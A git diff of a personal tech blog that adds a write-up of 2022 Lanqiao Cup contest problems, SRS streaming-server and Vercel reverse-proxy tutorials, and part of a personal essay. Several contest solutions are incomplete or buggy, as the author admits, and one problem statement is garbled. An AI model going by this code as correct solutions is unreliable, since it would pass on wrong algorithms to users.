试题 A: 排列字母

本题总分:5 分

+
    +
  • 【问题描述】 小蓝要把一个字符串中的字母按其在字母表中的顺序排列。 例如,LANQIAO 排列后为 AAILNOQ。 又如,GOODGOODSTUDYDAYDAYUP 排列后为 AADDDDDGGOOOOPSTUUYYY 。 请问对于以下字符串,排列之后字符串是什么? WHERETHEREISAWILLTHEREISAWAY
  • +
  • 【答案提交】 这是一道结果填空的题,你只需要算出结果后提交即可。本题的结果为一 个由大写字母组成的字符串,在提交答案时只填写这个字符串,填写多余的内 容将无法得分。
  • +
+
1
2
3
# 忘存代码了
print('I forgot to save the code...')

+ +

试题 B: 寻找整数

本题总分:5 分

+
    +
  • 【问题描述】 有一个不超过 1017 的正整数 n,知道这个数除以 2 至 49 后的余数如下表 所示,求这个正整数最小是多少。

    +
  • +
  • +
  • +
  • 【答案提交】 这是一道结果填空的题,你只需要算出结果后提交即可。本题的结果为一 个整数,在提交答案时只填写这个整数,填写多余的内容将无法得分。

    +
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
equal = True
result = False
mods = {
2: 1,
3: 2,
4: 1,
5: 4,
6: 5,
7: 4,
8: 1,
9: 2,
10: 9,
11: 0,
12: 5,
13: 10,
14: 11,
15: 14,
16: 9,
17: 0,
18: 11,
19: 18,
20: 9,
21: 11,
22: 11,
23: 15,
24: 17,
25: 9,
26: 23,
27: 20,
28: 25,
29: 16,
30: 29,
31: 27,
32: 25,
33: 11,
34: 17,
35: 4,
36: 29,
37: 22,
38: 37,
39: 23,
40: 9,
41: 1,
42: 11,
43: 11,
44: 33,
45: 29,
46: 15,
47: 5,
48: 41,
49: 46
}
i = 1
while i <= 10**17:
i *= 11
equal = True
for j in range(2,50):
if i % j != mods[j]:
print(f'{i} % {j} = {i%j} != {mods[j]}')
equal = False
break
if equal:
num = i
break
if equal: print(f'result: {num}')
else: print('No Result')

+ +

试题 C: 纸张尺寸

    +
  • 时间限制:1.0s

    +
  • +
  • 内存限制:512.0MB

    +
  • +
  • 本题总分:10分

    +
  • +
  • 【问题描述】
    在ISO国际标准中定义了A0纸张的大小为1189mm×841mm,将A0纸沿长边对折后为A1纸,大小为841mm×5mm,在对折的过程中长度直接取下整(实际裁剪时可能有损耗)。将A1纸沿长边对折后为A2纸,依此类推。输入纸张的名称,请输出纸张的大小。

    +
  • +
  • 【输入格式】
    输入一行包含一个字符串表示纸张的名称,该名称一定是A3、A4、A5、A6、A7、A8、A9之一

    +
  • +
  • 【输出格式】
    输出两行,每行包含一个整数,依次表示长边和短边的长度。

    +
  • +
  • 【样例输入1】
    A0

    +
  • +
  • 【样例输出1】
    1189
    841

    +
  • +
  • 【样例输入2】
    A1

    +
  • +
  • 【样例输出2】
    841
    594

    +
  • +
+
1
2
3
4
5
6
7
8
9
10
11
line = 1189
col = 841
size = input()
times = int(size[1:])
print(times)
for i in range(times):
if line >= col: line = line // 2
else: col = col // 2
print(max([line,col]))
print(min([line,col]))

+ +

试题 D: 数位排序

    +
  • 时间限制:1.0s
  • +
  • 内存限制:512MB
  • +
  • 本题总分:10分
  • +
  • 【问题描述】
    小蓝对一个数的数位之和很感兴趣,今天他要按照数位之和给数排序。当两个数各个数位之和不同时,将数位和较小的排在前而,当数位之和相等时,将数值小的排在前。例如,2022排在409前面,因为2022的数位之和是6,小于409的数位之和13。
    又如,6排在2022前,因为它们的数位之和相同,而6小于2022。
    给定正整数n,m,请问对1到n采用这种方法排序时,排在第m个的元素是多少?
  • +
  • 【输入格式】
    输入第一行包含一个正整数n。第二行包含一个正整数m。
  • +
  • 【输出格式】
    输出一行包含一个整数,表示答案。
  • +
  • 【样例输入】
    13
    5
  • +
  • 【样例输出】
    3
  • +
  • 【样例说明】
    1 到 13 的排序为:1, 10, 2, 11, 3, 12, 4, 13, 5, 6, 7, 8, 9。第 5 个数为 3。
  • +
  • 【评测用例规模与约定】
    对于 30% 的评测用例,1 ≤ m ≤ n ≤ 300。 对于 50% 的评测用例,1 ≤ m ≤ n ≤ 1000。 对于所有评测用例,1 ≤ m ≤ n ≤ 106。
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
maxnum = int(input())
pos = int(input())

def summary(num):
length = len(str(num))
s = 0
for i in str(num):
s += int(i)
return s
nums = []
for i in range(1,maxnum+1):
nums.append((i,summary(i)))
nums.sort(key=lambda s: s[0])
nums.sort(key=lambda s: s[1])
print(nums[pos-1][0])

+ +

试题 E: 蜂巢

    +
  • 时间限制: 1.0s
  • +
  • 内存限制: 512.0MB
  • +
  • 本题总分:15 分
  • +
  • 【问题描述】
    蜂巢由大量的六边形拼接而成,定义蜂巢中的方向为:0 表示正西方向,1表示西偏北 60◦,2 表示东偏北 60◦,3 表示正东,4 表示东偏南 60◦,5 表示西
    偏南 60◦。对于给定的一点 O,我们以 O 为原点定义坐标系,如果一个点 A 由 O 点先向 d 方向走 p 步再向 (d + 2) mod 6 方向(d 的顺时针 120◦ 方向)走 q 步到达,则这个点的坐标定义为 (d, p, q)。在蜂窝中,一个点的坐标可能有多种。下图给出了点 B(0, 5, 3) 和点 C(2, 3, 2) 的示意。

    给定点 (d1, p1, q1) 和点 (d2, p2, q2),请问他们之间最少走多少步可以到达?
  • +
  • 【输入格式】
    输入一行包含 6 个整数 d1, p1, q1, d2, p2, q2 表示两个点的坐标,相邻两个整数之间使用一个空格分隔。
  • +
  • 【输出格式】
    输出一行包含一个整数表示两点之间最少走多少步可以到达。
  • +
  • 【样例输入】
    0 5 3 2 3 2
  • +
  • 【样例输出】
    7
  • +
  • 【评测用例规模与约定】
    对于 25% 的评测用例,p1, p2 ≤ 103 ;
    对于 50% 的评测用例,p1, p2 ≤ 105 ;
    对于 75% 的评测用例,p1, p2 ≤ 107 ;
    对于所有评测用例,0 ≤ d1, d2 ≤ 5,0 ≤ q1 < p1 ≤ 109,0 ≤ q2 < p2 ≤ 109 。
  • +
+
1
print('没做出来……')
+ +

试题 F: 消除游戏

    +
  • 时间限制: 3.0s
  • +
  • 内存限制: 512.0MB
  • +
  • 本题总分:15 分
  • +
  • 【问题描述】 在一个字符串 S 中,如果 S i = S i−1 且 S i , S i+1 ,则称 S i 和 S i+1 为边缘字符。如果 S i , S i−1 且 S i = S i+1,则 S i−1 和 S i 也称为边缘字符。其它的字符都不是边缘字符。 对于一个给定的串 S,一次操作可以一次性删除该串中的所有边缘字符 (操作后可能产生新的边缘字符)。 请问经过 2 64 次操作后,字符串 S 变成了怎样的字符串,如果结果为空则 输出 EMPTY。
  • +
  • 【输入格式】
    输入一行包含一个字符串 S 。
  • +
  • 【输出格式】
    输出一行包含一个字符串表示答案,如果结果为空则输出 EMPTY。
  • +
  • 【样例输入 1】
    edda
  • +
  • 【样例输出 1】
    EMPTY
  • +
  • 【样例输入 2】
    sdfhhhhcvhhxcxnnnnshh
  • +
  • 【样例输出 2】
    s
  • +
  • 【评测用例规模与约定】
    对于 25% 的评测用例,|S | ≤ 103 ,其中 |S | 表示 S 的长度;
    对于 50% 的评测用例,|S | ≤ 104 ;
    对于 75% 的评测用例,|S | ≤ 105 ;
    对于所有评测用例,|S | ≤ 106,S 中仅含小写字母。
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
s = input()
times = 2**64
mark = 'F'*len(s)
nextS = ''
empty = False
NoOperation = True
for time in range(times):
if s == '':
empty = True
break
for i in range(len(s)):
if i == (len(s)-1): continue
if s[i] == s[i+1] and s[i] != s[i-1]: # 与右边相同与左边不同
NoOperation = False
mark = mark[:i-1] + 'TT' + mark[i+1:]
elif s[i] == s[i-1] and s[i] != s[i+1]: # 与左边相同与右边不同
NoOperation = False
mark = mark[:i] + 'TT' + mark[i+2:]
if NoOperation: break
for i in range(len(mark)):
if mark[i] == 'F':
nextS += s[i]
s = nextS
nextS = ''
mark = 'F'*len(s)
NoOperation = True
if empty:
print('EMPTY')
else:
print(s)

+ +

试题 G: 全排列的价值

    +
  • 时间限制: 1.0s
  • +
  • 内存限制: 512.0MB
  • +
  • 本题总分:20 分
  • +
  • 【问题描述】
    对于一个排列 A = (a1, a2, · · · , an),定义价值 ci 为 a1 至 ai−1 中小于 ai 的数 的个数,即 bi = |{aj | j < i, aj < ai}|。定义 A 的价值为 ∑n i=1 ci。 给定 n,求 1 至 n 的全排列中所有排列的价值之和。
  • +
  • 【输入格式】
    输入一行包含一个整数 n 。
  • +
  • 【输出格式】
    输出一行包含一个整数表示答案,由于所有排列的价值之和可能很大,请输出这个数除以 998244353 的余数。
  • +
  • 【样例输入 1】
    3
  • +
  • 【样例输出 1】
    9
  • +
  • 【样例输入 2】
    2022
  • +
  • 【样例输出 2】
    593300958
  • +
  • 【样例说明】
    1 至 3 构成的所有排列的价值如下:
    (1, 2, 3) : 0 + 1 + 2 = 3 ;
    (1, 3, 2) : 0 + 1 + 1 = 2 ;
    (2, 1, 3) : 0 + 0 + 2 = 2 ;
    (2, 3, 1) : 0 + 1 + 0 = 1 ;
    (3, 1, 2) : 0 + 0 + 1 = 1 ;
    (3, 2, 1) : 0 + 0 + 0 = 0 ;
    故总和为 3 + 2 + 2 + 1 + 1 = 9。
  • +
  • 【评测用例规模与约定】
    对于 40% 的评测用例,n ≤ 20 ;
    对于 70% 的评测用例,n ≤ 5000 ;
    对于所有评测用例,2 ≤ n ≤ 106 。
  • +
+
+

这题没做完

+
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from itertools import permutations

n = int(input())
summary = 0

ls = list(range(1,n+1))
MaxPermutations = []
for i in permutations(ls):
lesscount = 0
for j in i:
for k in range(i.index(j),len(i)):
if j < i[k]: lesscount += 1
summary += lesscount
mods = summary % 998244353
print(mods)
## if i[0] == n: MaxPermutations.append(i)
## else: break
##print(MaxPermutations)

+ +

试题 H: 技能升级

    +
  • 时间限制: 1.0s
  • +
  • 内存限制: 512.0MB
  • +
  • 本题总分:20 分
  • +
  • 【问题描述】
    小蓝最近正在玩一款 RPG 游戏。他的角色一共有 N 个可以加攻击力的技 能。其中第 i 个技能首次升级可以提升 Ai 点攻击力,以后每次升级增加的点数 都会减少 Bi。⌈ Ai Bi ⌉ (上取整) 次之后,再升级该技能将不会改变攻击力。 现在小蓝可以总计升级 M 次技能,他可以任意选择升级的技能和次数。请 你计算小蓝最多可以提高多少点攻击力?
  • +
  • 【输入格式】
    输入第一行包含两个整数 N 和 M。 以下 N 行每行包含两个整数 Ai 和 Bi。
  • +
  • 【输出格式】
    输出一行包含一个整数表示答案。
  • +
  • 【样例输入】
    3 6 10 5 9 2 8 1
  • +
  • 【样例输出】
    47
  • +
  • 【评测用例规模与约定】
    对于 40% 的评测用例,1 ≤ N, M ≤ 1000;
    对于 60% 的评测用例,1 ≤ N ≤ 104 , 1 ≤ M ≤ 107;
    对于所有评测用例,1 ≤ N ≤ 105,1 ≤ M ≤ 2 × 109,1 ≤ Ai , Bi ≤ 106。
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from math import ceil
TotalATK = 0
SkillCounts, UpgradeTimes = list(map(int, input().split(' ')))
Skills = []
for i in range(SkillCounts):
ATK, PointMinus = list(map(int, input().split(' ')))
MaxUpgradeTimes = ceil(ATK/PointMinus)
Skills.append([ATK, PointMinus, MaxUpgradeTimes])

Skills.sort(key=lambda s: s[0],reverse=True)

for i in range(UpgradeTimes):
TotalATK += Skills[0][0]
Skills[0][0] -= Skills[0][1] # ATK减少固定值
Skills[0][2] -= 1 # 可升级次数-1
Skills.sort(key=lambda s: s[0],reverse=True)
print(TotalATK)

+ +

试题 I: 最长不下降子序列

    +
  • 时间限制: 1.0s
  • +
  • 内存限制: 512.0MB
  • +
  • 本题总分:25 分
  • +
  • 【问题描述】
    给定一个长度为 N 的整数序列:A1, A2, · · · , AN。现在你有一次机会,将其 中连续的 K 个数修改成任意一个相同值。请你计算如何修改可以使修改后的数 列的最长不下降子序列最长,请输出这个最长的长度。 最长不下降子序列是指序列中的一个子序列,子序列中的每个数不小于在 它之前的数。
  • +
  • 【输入格式】
    输入第一行包含两个整数 N 和 K。 第二行包含 N 个整数 A1, A2, · · · , AN。
  • +
  • 【输出格式】
    输出一行包含一个整数表示答案。
  • +
  • 【样例输入】
    5 1 1 4 2 8 5
  • +
  • 【样例输出】
    4
  • +
  • 【评测用例规模与约定】
    对于 20% 的评测用例,1 ≤ K ≤ N ≤ 100;
    对于 30% 的评测用例,1 ≤ K ≤ N ≤ 1000;
    对于 50% 的评测用例,1 ≤ K ≤ N ≤ 10000;
    对于所有评测用例,1 ≤ K ≤ N ≤ 10^5,1 ≤ Ai ≤ 10^6。
  • +
+
+

好像我的做法有点bug?

+
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Counts, Constant = list(map(int, input().split()))
Array = list(map(int, input().split()))
SubCount = []
# 前面的往小了改的话就得改成0,后面的往大了改就可以改很大

Min = []
Max = []

for i in range(len(Array)):
Min.append(min(Array[i:]))
try:
Max.append(max(Array[:i]))
except ValueError: # 第一个数字前面没有数字
Max.append(0)

for i in range(len(Min)):
if i == len(Min)-1: break
Count = 0
for j in Min[i+1:]:
if j >= Min[i]: Count += 1
else: break
SubCount.append(Count)
MaxSubCount = max(SubCount) # 获取当前最长子序列的位置
if SubCount.index(MaxSubCount)+1 <= Constant:
Result = SubCount.index(MaxSubCount) + MaxSubCount
else:
Result = MaxSubCount + Constant
print(Result)

+ +

试题 J: 最优清零方案

    +
  • 时间限制: 5.0s
  • +
  • 内存限制: 512.0MB
  • +
  • 本题总分:25 分
  • +
  • 【问题描述】
    给定一个长度为 N 的数列 A1, A2, · · · , AN。现在小蓝想通过若干次操作将 这个数列中每个数字清零。 每次操作小蓝可以选择以下两种之一: 1. 选择一个大于 0 的整数,将它减去 1; 2. 选择连续 K 个大于 0 的整数,将它们各减去 1。 小蓝最少经过几次操作可以将整个数列清零?
  • +
  • 【输入格式】
    输入第一行包含两个整数 N 和 K。 第二行包含 N 个整数 A1, A2, · · · , AN。
  • +
  • 【输出格式】
    输出一个整数表示答案。
  • +
  • 【样例输入】
    4 2 1 2 3 4
  • +
  • 【样例输出】
    6
  • +
  • 【评测用例规模与约定】
    对于 20% 的评测用例,1 ≤ K ≤ N ≤ 10。
    对于 40% 的评测用例,1 ≤ K ≤ N ≤ 100。
    对于 50% 的评测用例,1 ≤ K ≤ N ≤ 1000。
    对于 60% 的评测用例,1 ≤ K ≤ N ≤ 10000。
    对于 70% 的评测用例,1 ≤ K ≤ N ≤ 100000。
    对于所有评测用例,1 ≤ K ≤ N ≤ 1000000, 0 ≤ Ai ≤ 1000000。
  • +
+
+

印象中这题没做完?

+
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Length, Constant = list(map(int, input().split(' ')))   # 获得数列长度以及连续的数字的数量K
Array = list(map(int, input().split(' '))) # 构造输入的数列
MinusTimes = []

##def GetConstantArray(array):
## ConstantPosList = []
## for i in range(len(array)):
## if i == len(array)-1: break
## if array[i]+1 == array[i]:
## StartPos = i
## CusPos = i+1
## EndPos = i+1
## while 1:
## if CurPos+1 >= len(array): # 指针已经指向最后一个数字了
## ConstantPosList.append((StartPos, EndPos)) # 将位置信息存储进入列表中,终止循环
## break
## if array[CurPos+1] == array[CurPos]+1: CurPos += 1 # 当指针指向的下一个数字与当前指向的数字+1相等就继续
## else: # 指针指向的下一个数字与当前数字+1不相等
## ConstantPosList.append((StartPos, EndPos)) # 将位置信息存储进入列表中,终止循环
## break
## return ConstantPosList
##print(GetConstantArray(Array))

for i in range(Length):
if i+Constant >= Length+1: break
MinusTimes.append(max(Array[i:i+Constant]))

MaxMinusTimes = max(MinusTimes)
MaxMinusTimesPos = MinusTimes.index(MaxMinusTimes)
MinusTimesSum = []
for i in range(Constant):
try:
MinusTimesSum.append(sum(MinusTimes[MaxMinusTimesPos-i:MaxMinusTimes+i]))
except:
MinusTimesSum.append(sum(MinusTimes[MaxMinusTimesPos-i:]))
MaxMinusTimesSumPos = MinusTimesSum.index(max(MinusTimesSum)) # 确定从哪里开始减,怎么减

+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/lanqiao-2022-province/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/srs/index.html b/posts/srs/index.html new file mode 100644 index 0000000000..333ce16ff2 --- /dev/null +++ b/posts/srs/index.html @@ -0,0 +1,399 @@ +手把手教你怎么搭建属于自己的直播服务器~ | GamerNoTitle + + + + + + + + + + + + + + + +

手把手教你怎么搭建属于自己的直播服务器~

前两个月学校的旧外包跑路了(其实是合约到期了),他们的直播系统就被学校废弃了,那么问题就来了:学校要直播呀!!!没有直播系统怎么办啊!!!

+

所以这次就来手把手(按照我搭建的经验)来教你怎么搭建属于自个的直播系统~

+

PS:可以打开侧边栏看,方便找到需要的内容

+

准备材料

*表示非必需

+

1、一台linux电脑(windows上没试过,感兴趣的同志们可以试试)

+

*2、一台网页服务器(可以用上面的linux电脑,或者个人电脑)

+

搭建环境

GoLang环境

使用命令进入root用户

+
1
$ su
+ +
一键安装方式
1
2
3
$ git clone https://github.com/letseeqiji/oneinstall.git
$ cd oneinstall/golang
$ bash goinstall.sh
+ +

直接运行脚本进行安装

+
Ubantu/Debian用户

你可以使用

+
1
$ sudo apt-get install golang
+ +

直接安装Go环境,然后设置GOPATH即可

+
1
$ vi /etc/profile
+ +

打开文件后,对文件修改,在文件最下面添加

+

export GOPATH=/goWorkPlace

+

然后按Esc,保存文件

+

最后,刷新文件,使更改生效。输入命令

+
1
$ source /etc/profile
+ +
二进制码安装方式

64位

+
1
$ wget https://storage.googleapis.com/golang/go1.4.1.linux-amd64.tar.gz
+ +

32位

+
1
$ wget https://storage.googleapis.com/golang/go1.4.1.linux-386.tar.gz
+ +

在/usr/local下安装:

+
1
$ sudo tar -xzf <filename> -C /usr/local
+ +

配置环境变量:有三个变量GOPATH、PATH、GOROOT

+

GOROOT就是go的安装路径

+

GOPATH就是go的工作目录

+

PATH是go安装路径下的bin目录

+
1
$ vi /etc/profile
+ +

打开文件后,对文件修改,在文件最下面添加

+

export GOPATH=/goWorkPlace

+

export GOROOT=/usr/local/go

+

export PATH=$PATH:$GOROOT/bin

+

保存文件,刷新,使更改生效

+
1
$ source /etc/profile
+ +

srs设置

使用git克隆代码

+
1
2
$ git clone git@github.com:ossrs/srs.git
$ cd srs
+ +

进入srs目录,对目录中的文件进行修改。

+

打开./trunk/conf/srs.conf文件,对其进行修改

+

其中有几个参数需要修改:

+
1
2
3
4
listen	1935; #直播推流的端口
max_connections 1000; #最大线程数
srs_log_tank console; #srs日志输出位置,可以为console或file
srs_log_file ./objs/srs.log; #srs日志输出文件,当上面为file时必须设置
+ +

上面的参数根据自己的需要进行修改,其中max_connections推荐设置为100,否则编译有可能会出错

+

在root用户中,进入./trunk,使用命令

+
1
$ ./configure && make
+ +

对srs进行编译,编译过程稍长,请耐心等待

+

当编译完成后,可以使用

+
1
$ ./objs/srs -c conf/srs.conf
+ +

打开srs服务器,打开客户机上的OBS Studio(vMix也可以),推流地址填写如下

+

rtmp://<你的srs服务器ip>:1935/home

+

推流密钥填写如下

+

/live

+

也可以把live换成任意的文字或路径

+

此时可以使用VLC Media Player来检测是否推流成功,打开VLC Media Player,选择“媒体”->“打开网络串流”,在URL里面填写你的rtmp地址(包括密钥)例如我的OBS配置如下

+

OBS-Config

+

那么我就应该填写rtmp://172.52.5.100:1935/home/live

+

点击确定,可以看到我推流出来的内容

+

VLC

+

这样就证明我推流成功了!

+

网页前端设置

我们毕竟是个直播,总不可能每个班级都安装一个VLC Media Player的嘛,所以说,我们要用网页来拉流。

+

用网页来拉流,就要用到HLS了(具体百度哦~),但是我们要怎么打开HLS呢?

+

你需要在你的srs.conf中的

+
1
2
vhost __defaultVhost__ {
}
+ +

中加入以下内容(可以直接复制粘贴)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
vhost __defaultVhost__ {
# http-flv设置
http_remux{
enabled on;
mount [vhost]/[app]/[stream].flv;
hstrs on;
}

# hls设置
hls{
enabled on;
hls_path ./objs/nginx/html;
hls_fragment 10;
hls_window 60;
}
}
+ +

然后重新打开srs即可

+

那么下面的链接应该都可以使用(按照我的填写方法为例)

+ + + + + + + + + + + + + + + + + + + +
链接类型链接
rtmprtmp://172.52.5.100:1935/live/home
http/flvhttp://172.52.5.100:8080/live/home.flv
http/m3u8http://172.52.5.100:8080/live/home.m3u8
+

可以利用我们的网页示例,进行调试(请不要使用本地打开文件的方式进行调试,会被拦截)

+
1
$ git clone git@github.com:5amstd/live-system.git
+ +

将里面的146行的视频地址更改为自己的视频地址即可

+
1
video:'http://172.52.5.100:8080/home/live.flv' //视频地址
+ +

然后保存刷新,打开里面的视频播放器(都9102年了还用Flash???),就可以看到直播画面了

+

Website

+

如果你看到了直播画面,就证明你成功了~

+

题外话

第一次用Ubantu来搭建项目,感觉Ubantu挺好用的,所以现在两台电脑吧,把我之前的那台DELL OptiPlex 3046拿来装Ubantu了

+

srs搞了我很长时间,其实最主要的问题是Ubantu(Linux)用的不很熟悉,然后权限问题也很烦

+

HLS的分发挺麻烦的,查看了很多官方文档,后来在别人的文章里面找到了解决方法

+

最近喜欢打方舟,有舟游玩家嘛,加波好友啊:喵呜初音#0717(B服玩家哦~)

+
Author: GamerNoTitle
Link: https://bili33.top/posts/srs/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/vercel-reverse-proxy/index.html b/posts/vercel-reverse-proxy/index.html new file mode 100644 index 0000000000..a8f7116932 --- /dev/null +++ b/posts/vercel-reverse-proxy/index.html @@ -0,0 +1,314 @@ +Vercel搭建反向代理 | GamerNoTitle + + + + + + + + + + + + + + + +

Vercel搭建反向代理

首先你需要安装一下vercel的命令行工具,使用npm进行安装(需要安装nodejs,没安装的自己去下一个)

+
1
npm i -g vercel
+ +

当然你也可以用cnpm安装

+
1
cnpm i -g vercel
+ +

安装完后可以使用vercel -v来看看是否安装成功了

+
1
2
3
vercel -v
>> Vercel CLI 24.2.4
>> 24.2.4
+ +

接着把下面这些内容复制到一个json文件里面

+
1
2
3
4
5
6
{
"version": 2,
"routes": [
{"src": "/(.*)","dest": "https://bili33.top/$1"}
]
}
+ +

其中,我的域名那里可以改成你想要反代的网站的域名,例如填写cdn.jsdelivr.net,就可以按照jsdelivr的格式去使用它的CDN,例如

+
1
2
3
4
5
6
7
8
9
10
{
"version": 2,
"routes": [
{"src": "/(.*)","dest": "https://cdn.jsdelivr.net/$1"},
{"src": "/","dest": "https://bili33.top"}
],
"redirects": [
{"src": "/npm/(.*)", "destination": "http://127.0.0.1"}
]
}
+ +

这里redirects是访问特定的route的时候进行重定向,可以达到禁止访问的目的(但是实测好像并不太行)

+

更多关于json文件的适用方法,可以参照https://vercel.com/docs/project-configuration

+

写完json文件以后,就开始对vercel的cli进行验证,使用vercel login进行登录

+
1
2
3
4
5
6
7
8
9
10
vercel login
Vercel CLI 24.2.4
> Log in to Vercel (Use arrow keys)
> Continue with GitHub
Continue with GitLab
Continue with Bitbucket
Continue with Email
Continue with SAML Single Sign-On
─────────────────────────────────
Abort
+ +

按上下键可以选择登录方式,我就直接用Github登录了,会返回一个登录地址,可以直接在浏览器打开

+

登录完成后会像我下面这个这么提示

+
1
2
3
4
5
6
vercel login
Vercel CLI 24.2.4
> Log in to Vercel github
> Success! GitHub authentication complete for <your email>
Congratulations! You are now logged in. In order to deploy something, run `vercel`.
💡 Connect your Git Repositories to deploy every branch push automatically (https://vercel.link/git).
+ +

接着我们对刚刚的json文件进行部署,使用下面的命令即可

+
1
vercel -A <name>.json --prod
+ +

这里的json的文件名要指定为你刚刚设置的文件,--prod是推入生产环境,按照提示输入就行了

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
vercel -A <name>.json --prod
Vercel CLI 24.2.4
❗️ Your Project was either deleted, transferred to a new Team, or you don’t have access to it anymore.
? Set up and deploy “<your folder>”? [Y/n] y
? Which scope do you want to deploy to? <your username or team>
? Link to existing project? [y/N] n
? What’s your project’s name? vercel-json
? In which directory is your code located? ./
No framework detected. Default Project Settings:
- Build Command: `npm run vercel-build` or `npm run build`
- Output Directory: `public` if it exists, or `.`
- Development Command: None
? Want to override the settings? [y/N] n
🔗 Linked to <user/project> (created .vercel)
🔍 Inspect: <Your inspect link> [961ms]
✅ Production: <Your production link> [copied to clipboard] [10s]
+ +

部署完后你就可以在Vercel中找到,并进行配置了

+
Author: GamerNoTitle
Link: https://bili33.top/posts/vercel-reverse-proxy/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/robots.txt b/robots.txt new file mode 100644 index 0000000000..c49263929b --- /dev/null +++ b/robots.txt @@ -0,0 +1,12 @@ +User-agent: Baiduspider +Disallow:/posts/biliRoaming/ +Disallow:/posts/CloudFlare-Workers +Disallow:/posts/CloudFlare-Workers-Section1 +Disallow:/posts/CloudFlare-Workers-Section2 +Disallow:/posts/Heroku-V2ray +Disallow:/posts/Why-I-Choose-to-Repeat-High-School +Sitemap: https://bili33.top/baidusitemap.xml + +User-agent: * +Disallow: +Sitemap: https://bili33.top/sitemap.xml diff --git a/search.xml b/search.xml new file mode 100644 index 0000000000..6315901e0f --- /dev/null +++ b/search.xml @@ -0,0 +1,2684 @@ + + + + + + + 杂谈:为什么我选择了复读 + + /posts/Why-I-Choose-to-Repeat-High-School/ + +

省流:一年不活动的原因是复读,如果你还想详细了解的话请往下看

我想了很久,但还是决定写这样的一篇文章,同时这也能够解答本站的各位访客和QQ上的好友们:为什么身为大学生的我不经常在线?又或者是:为什么我只有周末才冒泡?

叠甲

本文章不针对任何人、任何群体。本人热爱中国共产党,热爱中国人民解放军,热爱中华人民共和国,本人为中华人民共和国公民,承诺永不做出违反我国法律的事情!

此文章带有很强的主观性,或许我本人是在心理有问题的情况下写下此文章也说不定,肯定有些人看了本文章会觉得“怎么会有这么傻的人放着好好的大学不读自己选择退学复读”这样的,但说白了这个选择是我自己做出的,是我自己权衡了很多方面才做出的,我也不是说要别人去理解我什么的,或许就是在发牢骚,但是我不希望有人在这里进行网络攻击,毕竟网络攻击的成本很低,维权的成本很高,对别人造成的伤害那是不可计量的。如果你是带着“键盘侠”的身份来到本站,那么对不起,本站不欢迎你,你现在就可以点击右上角的×退出了!

本文将按照时间顺序,从高考拿到成绩那个时候起,叙述我从报考大学=>在大学学习=>选择退学=>目前状态的整个过程,需要再次强调此文章带有很强的主观性,或许我本人是在心理有问题的情况下写下此文章也说不定,但是我不希望有人看了以后以此来攻击我

本文中含有大量的职场PUA,而且是因为你所在的环境无法反驳的那种,请控制好自己的情绪

前言

我是2021年的高考考生,在2023年选择了退学,退学的原因有多个方面,下面会讲。目前已经报名了某学校的复读班,将于2023年7月31日入学。在入学之后,直到2024年高考结束之前,我都会处于“隐身”的状态。请大家尽量减少找我的次数,找我我也不能够及时回复;本站会一直存在,只不过会沉寂一年时间。

拿到成绩

我的成绩算不上很出彩,甚至处于一个很尴尬的位置:分数559,排名600xx,想上985没戏,想上好的211很难,想要随便挑专业的211那都是211的末尾了;一本是肯定没问题的。

我承认,我的大三科问题很大,特别是英语本该拿高分的,但是最后出来只有114,但这都是后日谈了

在填志愿上,我们花费了很长时间,但是在这里,容我先插入一小段内容

插入:政审二三事

高考完的那一周,我妈问我政审的事情,其实我本来就没想着去弄这个东西,因为就没有考虑过提前批;我妈说跟我玩得好的那个同学(以下简称F)他都弄了政审了,让我也去弄一个,说多一个选择。我向来是顺着我妈的意思走的(后日谈:我对我个人评价是极其容易受到他人影响,只能说这次是个教训),所以我就去弄了一下政审。还记得当时政审的最后一个环节是要到居委会那里签字然后送去高中,正巧当时我们这里被封小区了。就是有一名新冠患者他出入过我们小区这附近,然后给我们封了,虽然封的时间不长,但是时间点很尴尬。

得到封小区的消息是下午,打算第二天去跑最后一个步骤然后送表的。当时也是接近DDL(死线Deadline)了,很紧急,正巧我爸当天晚上加班没回来,所以第二天就隔着小区的门,把表给我爸去跑这最后一步,才成功送上去的。这样才有了报考提前批的资格。

填报志愿

提前批

就像我上面说的,填报志愿是很麻烦的一件事情,要斟酌很多东西。讲真,我是一个重度的专业控,我是倾向于计算机类的专业的,所以提前批那边,都填的是计算机类的那些,不过填的都是什么陆工大、空工大之类的那种,毕竟搞工科的军校这种专业才多一点,然后翻着翻着,看到一个陆军的学院,分数还比较低,叫做陆军特种作战学院(没错特种这两个字给我坑惨了),然后我就填在了最底下(广东提前批可以填8个专业组)

本科批

本科批这边都是抱着冲一冲的心态填的,所以填的是一些看起来不错的院校,不过现在谈这个也没啥用,毕竟本科批就没用上,当时想的是最低是黑龙江大学(别问为什么,问就是有熟人在那里读大学)来保底的,不过到最后都是没用的

保存志愿

填完了以后,点击保存,锁定了专业

转折:来自武装部的建议

